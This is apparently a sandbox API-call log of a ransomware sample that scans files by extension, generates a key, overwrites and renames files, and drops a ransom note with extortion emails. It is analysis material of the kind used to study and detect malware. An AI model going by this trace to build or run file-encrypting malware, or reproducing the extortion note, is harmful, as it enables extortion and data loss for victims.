	[0078.123] lstrlenW (lpString=".edb") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".edb") returned 0x0
	[0078.123] lstrlenW (lpString=".PST") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".PST") returned 0x0
	[0078.123] lstrlenW (lpString=".dbf") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dbf") returned 0x0
	[0078.123] lstrlenW (lpString=".SQL") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".SQL") returned 0x0
	[0078.123] lstrlenW (lpString=".pst") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".pst") returned 0x0
	[0078.123] lstrlenW (lpString=".dbv") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dbv") returned 0x0
	[0078.123] lstrlenW (lpString=".SDF") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".SDF") returned 0x0
	[0078.123] lstrlenW (lpString=".dtxs") returned 5
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dtxs") returned 0x0
	[0078.123] lstrlenW (lpString=".db3") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".db3") returned 0x0
	[0078.123] lstrlenW (lpString=".OST") returned 4
	[0078.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".OST") returned 0x0
	[0078.123] lstrlenW (lpString=".dbx") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dbx") returned 0x0
	[0078.124] lstrlenW (lpString=".DB3") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DB3") returned 0x0
	[0078.124] lstrlenW (lpString=".DAT") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DAT") returned 0x0
	[0078.124] lstrlenW (lpString=".VHDX") returned 5
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".VHDX") returned 0x0
	[0078.124] lstrlenW (lpString=".ndf") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".ndf") returned 0x0
	[0078.124] lstrlenW (lpString=".DB") returned 3
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DB") returned 0x0
	[0078.124] lstrlenW (lpString=".sql") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".sql") returned 0x0
	[0078.124] lstrlenW (lpString=".MYD") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".MYD") returned 0x0
	[0078.124] lstrlenW (lpString=".DBT") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DBT") returned 0x0
	[0078.124] lstrlenW (lpString=".ACCDB") returned 6
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.124] lstrlenW (lpString=".fdb") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".fdb") returned 0x0
	[0078.124] lstrlenW (lpString=".bak") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".bak") returned 0x0
	[0078.124] lstrlenW (lpString=".myd") returned 4
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".myd") returned 0x0
	[0078.124] lstrlenW (lpString=".DTXS") returned 5
	[0078.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".DTXS") returned 0x0
	[0078.124] lstrlenW (lpString=".ckp") returned 4
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".ckp") returned 0x0
	[0078.125] lstrlenW (lpString=".dbt") returned 4
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".dbt") returned 0x0
	[0078.125] lstrlenW (lpString=".db") returned 3
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".db") returned 0x0
	[0078.125] lstrlenW (lpString=".TXT") returned 4
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".TXT") returned 0x0
	[0078.125] lstrlenW (lpString=".MDF") returned 4
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".MDF") returned 0x0
	[0078.125] lstrlenW (lpString=".bdb") returned 4
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".bdb") returned 0x0
	[0078.125] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0078.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.125] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0078.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.126] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0078.127] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19811680799) returned 1
	[0078.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x98748870, dwHighDateTime=0x1d60e1e)) 
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9998
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0078.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0078.128] GetLastError () returned 0x0
	[0078.128] GetLastError () returned 0x0
	[0078.128] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0078.128] GetLastError () returned 0x0
	[0078.128] GetLastError () returned 0x0
	[0078.128] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.139] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.309] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0078.309] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.309] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.329] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.329] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.329] CloseHandle (hObject=0x120) returned 1
	[0078.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.~~~~")) returned 1
	[0078.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0078.383] GetLastError () returned 0x0
	[0078.383] RtlWakeConditionVariable () returned 0x365f70
	[0078.383] GetCurrentThreadId () returned 0x9cc
	[0078.384] GetCurrentThreadId () returned 0x9cc
	[0078.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0078.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa128 | out: hHeap=0x300000) returned 1
	[0078.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.384] lstrlenW (lpString=".scr") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.384] lstrlenW (lpString=".cmd") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.384] lstrlenW (lpString=".dll") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.384] lstrlenW (lpString=".dll.mui") returned 8
	[0078.384] lstrlenW (lpString=".bat") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.384] lstrlenW (lpString=".cpl") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.384] lstrlenW (lpString=".sys") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.384] lstrlenW (lpString=".msc") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.384] lstrlenW (lpString=".com") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.384] lstrlenW (lpString=".lnk") returned 4
	[0078.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.384] lstrlenW (lpString=".msp") returned 4
	[0078.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.385] lstrlenW (lpString=".pif") returned 4
	[0078.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.385] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0078.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.385] RtlWakeConditionVariable () returned 0x365f70
	[0078.385] GetCurrentThreadId () returned 0x9cc
	[0078.385] GetCurrentThreadId () returned 0x9cc
	[0078.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0078.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa160 | out: hHeap=0x300000) returned 1
	[0078.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f39e0
	[0078.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.401] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.402] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.403] CloseHandle (hObject=0x120) returned 1
	[0078.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f39e0 | out: hHeap=0x300000) returned 1
	[0078.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.403] RtlWakeConditionVariable () returned 0x365f70
	[0078.403] GetCurrentThreadId () returned 0x9cc
	[0078.403] GetCurrentThreadId () returned 0x9cc
	[0078.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0078.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c970 | out: hHeap=0x300000) returned 1
	[0078.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0078.404] lstrlenW (lpString=".scr") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".scr") returned 0x0
	[0078.404] lstrlenW (lpString=".cmd") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".cmd") returned 0x0
	[0078.404] lstrlenW (lpString=".dll") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".dll") returned 0x0
	[0078.404] lstrlenW (lpString=".bat") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".bat") returned 0x0
	[0078.404] lstrlenW (lpString=".cpl") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".cpl") returned 0x0
	[0078.404] lstrlenW (lpString=".sys") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".sys") returned 0x0
	[0078.404] lstrlenW (lpString=".msc") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".msc") returned 0x0
	[0078.404] lstrlenW (lpString=".com") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".com") returned 0x0
	[0078.404] lstrlenW (lpString=".lnk") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".lnk") returned 0x0
	[0078.404] lstrlenW (lpString=".msp") returned 4
	[0078.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".msp") returned 0x0
	[0078.404] lstrlenW (lpString=".pif") returned 4
	[0078.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch=".pif") returned 0x0
	[0078.405] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0078.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.405] RtlWakeConditionVariable () returned 0x365f70
	[0078.405] GetCurrentThreadId () returned 0x9cc
	[0078.405] GetCurrentThreadId () returned 0x9cc
	[0078.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3dd0 | out: hHeap=0x300000) returned 1
	[0078.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9a8 | out: hHeap=0x300000) returned 1
	[0078.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3dd0
	[0078.405] lstrlenW (lpString=".scr") returned 4
	[0078.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".scr") returned 0x0
	[0078.406] lstrlenW (lpString=".cmd") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".cmd") returned 0x0
	[0078.406] lstrlenW (lpString=".dll") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".dll") returned 0x0
	[0078.406] lstrlenW (lpString=".bat") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".bat") returned 0x0
	[0078.406] lstrlenW (lpString=".cpl") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".cpl") returned 0x0
	[0078.406] lstrlenW (lpString=".sys") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".sys") returned 0x0
	[0078.406] lstrlenW (lpString=".msc") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".msc") returned 0x0
	[0078.406] lstrlenW (lpString=".com") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".com") returned 0x0
	[0078.406] lstrlenW (lpString=".lnk") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".lnk") returned 0x0
	[0078.406] lstrlenW (lpString=".msp") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".msp") returned 0x0
	[0078.406] lstrlenW (lpString=".pif") returned 4
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch=".pif") returned 0x0
	[0078.406] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3dd0 | out: hHeap=0x300000) returned 1
	[0078.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.407] RtlWakeConditionVariable () returned 0x365f70
	[0078.407] GetCurrentThreadId () returned 0x9cc
	[0078.407] GetCurrentThreadId () returned 0x9cc
	[0078.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0078.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9e0 | out: hHeap=0x300000) returned 1
	[0078.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0078.407] lstrlenW (lpString=".scr") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.407] lstrlenW (lpString=".cmd") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.407] lstrlenW (lpString=".dll") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.407] lstrlenW (lpString=".dll.mui") returned 8
	[0078.407] lstrlenW (lpString=".bat") returned 4
